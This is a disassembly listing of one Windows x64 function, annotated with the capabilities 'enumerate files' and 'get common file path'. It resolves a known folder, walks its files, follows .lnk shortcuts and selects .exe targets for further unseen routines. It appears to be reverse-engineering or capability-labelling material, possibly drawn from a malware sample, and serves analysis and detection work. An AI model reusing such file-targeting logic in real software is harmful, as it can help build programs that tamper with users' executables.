Function at 0x140001920
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rdi
sub rsp, 0x980
mov qword [rsp + 0x60], 0
lea r9, [rsp + 0x60]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140003180]
call sub.SHELL32.dll_SHGetKnownFolderPath
lea rax, [rsp + 0x440]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x104
lea rax, [rsp + 0x440]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rsp + 0x60]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rax, [rsp + 0x330]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x104
lea rax, [rsp + 0x330]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rsp + 0x60]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, [0x140004234]
lea rcx, [rsp + 0x330]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x140004244]
lea rcx, [rsp + 0x440]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rax, [rsp + 0xe0]
mov rdi, rax
xor eax, eax
mov ecx, 0x140
rep stosb byte [rdi], al
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x440]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0xc0], rax
cmp dword [rsp + 0xe0], 0x10
jne 0x140001a64
jmp 0x140001d77
lea rax, str..lnk
mov qword [rsp + 0xa8], rax
lea rax, str..exe
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x58], 0x2e
mov edx, dword [rsp + 0x58]
lea rcx, [rsp + 0x10c]
call fcn.140002760
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0xa8]
call fcn.1400026a0
test eax, eax
jne 0x140001c78
lea rax, [rsp + 0x550]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rsp + 0x220]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rsp + 0x330]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x220]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x78]
movzx eax, byte [rax]
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x68]
movzx ecx, byte [rsp + 0x40]
mov byte [rax], cl
mov rax, qword [rsp + 0x78]
inc rax
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x68]
inc rax
mov qword [rsp + 0x68], rax
cmp byte [rsp + 0x40], 0
jne 0x140001b0f
lea rax, [rsp + 0x220]
mov qword [rsp + 0x48], rax
dec qword [rsp + 0x48]
inc qword [rsp + 0x48]
mov rax, qword [rsp + 0x48]
cmp byte [rax], 0
jne 0x140001b5a
mov rax, qword [rsp + 0x48]
lea rcx, [rsp + 0x10c]
xor edx, edx
movzx edi, byte [rcx + rdx]
mov byte [rax + rdx], dil
inc rdx
test dil, dil
jne 0x140001b78
lea rax, [rsp + 0x770]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rcx, [rsp + 0x220]
call fcn.140002720
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x770]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [rsp + 0x220]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0xa0], eax
lea rdx, [rsp + 0x550]
lea rcx, [rsp + 0x770]
call fcn.1400012d0
mov edx, dword [rsp + 0x58]
lea rcx, [rsp + 0x550]
call fcn.140002760
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
jne 0x140001c1a
jmp 0x140001d77
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x98]
call fcn.1400026a0
test eax, eax
jne 0x140001c3d
mov dword [rsp + 0x5c], 1
jmp 0x140001c45
mov dword [rsp + 0x5c], 0
cmp dword [rsp + 0x5c], 0
jne 0x140001c51
jmp 0x140001d77
lea rcx, [rsp + 0x550]
call fcn.140002040
mov qword [rsp + 0xb0], rax
mov rcx, qword [rsp + 0xb0]
call fcn.140002580
jmp 0x140001d77
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
call fcn.1400026a0
test eax, eax
jne 0x140001d77
lea rax, [rsp + 0x660]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rsp + 0x330]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x660]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x80]
movzx eax, byte [rax]
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x41]
mov byte [rax], cl
mov rax, qword [rsp + 0x80]
inc rax
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x70]
inc rax
mov qword [rsp + 0x70], rax
cmp byte [rsp + 0x41], 0
jne 0x140001cd3
lea rax, [rsp + 0x660]
mov qword [rsp + 0x50], rax
dec qword [rsp + 0x50]
inc qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
cmp byte [rax], 0
jne 0x140001d27
mov rax, qword [rsp + 0x50]
lea rcx, [rsp + 0x10c]
xor edx, edx
movzx edi, byte [rcx + rdx]
mov byte [rax + rdx], dil
inc rdx
test dil, dil
jne 0x140001d45
lea rcx, [rsp + 0x660]
call fcn.140002040
mov qword [rsp + 0xb8], rax
mov rcx, qword [rsp + 0xb8]
call fcn.140002580
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001a55
xor eax, eax
add rsp, 0x980
pop rdi
ret